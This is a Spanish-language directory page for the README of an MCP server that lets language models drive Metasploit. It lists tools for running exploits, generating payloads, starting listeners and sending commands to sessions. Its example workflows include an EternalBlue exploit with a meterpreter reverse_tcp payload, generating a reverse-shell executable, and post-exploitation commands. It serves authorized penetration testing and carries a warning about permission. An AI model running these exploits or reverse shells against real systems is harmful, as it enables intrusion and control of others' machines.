Skip to main content
Glama

Servidor MCP de Metasploit

Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descripción

Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.

Related MCP server: Metasploit MCP Server

Características

Información del módulo

  • list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles

  • list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura

Flujo de trabajo de explotación

  • run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero

  • run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas

  • run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes

Generación de carga útil

  • generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)

Gestión de sesiones

  • list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada

  • send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter

  • cease_session : Finalizar forzosamente una sesión activa

Gestión de controladores

  • list_listeners : muestra todos los controladores activos y trabajos en segundo plano

  • start_listener : Crea un nuevo multi/handler para recibir conexiones

  • stop_job : Finaliza cualquier trabajo o controlador en ejecución

Prerrequisitos

  • Metasploit Framework instalado y msfrpcd ejecutándose

  • Python 3.10 o superior

  • Paquetes de Python necesarios (consulte requirements.txt)

Instalación

  1. Clonar este repositorio

  2. Instalar dependencias:

    pip install -r requirements.txt
  3. Configurar variables de entorno (opcional):

    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Uso

Inicie el servicio RPC de Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opciones de transporte

El servidor admite dos métodos de transporte:

  • HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP

  • STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares

Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport :

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Opciones adicionales para el modo HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integración de escritorio de Claude

Para la integración de Claude Desktop, configure claude_desktop_config.json :

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Otros clientes de MCP

Para otros clientes MCP que utilizan HTTP/SSE:

  1. Inicie el servidor en modo HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure su cliente MCP para conectarse a:

    • Punto final de SSE: http://your-server-ip:8085/sse

Consideraciones de seguridad

⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :

Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.

  • Siempre valide y revise todos los comandos antes de ejecutarlos

  • Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada

  • Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.

Flujos de trabajo de ejemplo

Explotación básica

  1. Lista de exploits disponibles: list_exploits("ms17_010")

  2. Seleccione y ejecute un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Lista de sesiones: list_active_sessions()

  4. Ejecutar comandos: send_session_command(1, "whoami")

Post-explotación

  1. Ejecutar un módulo de publicación: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Enviar comandos personalizados: send_session_command(1, "sysinfo")

  3. Terminar cuando haya terminado: terminate_session(1)

Gestión de controladores

  1. Iniciar un oyente: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Lista de controladores activos: list_listeners()

  3. Generar una carga útil: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Detener un controlador: stop_job(1)

Opciones de configuración

Directorio de guardado de carga útil

De forma predeterminada, las cargas útiles generadas con generate_payload se guardan en un directorio payloads en su carpeta de inicio ( ~/payloads o C:\Users\YourUsername\payloads ). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR .

Configuración de la variable de entorno:

  • Ventanas (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Símbolo del sistema) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • En la configuración de Claude Desktop :

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.

Licencia

Apache 2.0

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Bridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.
    1
    Apache 2.0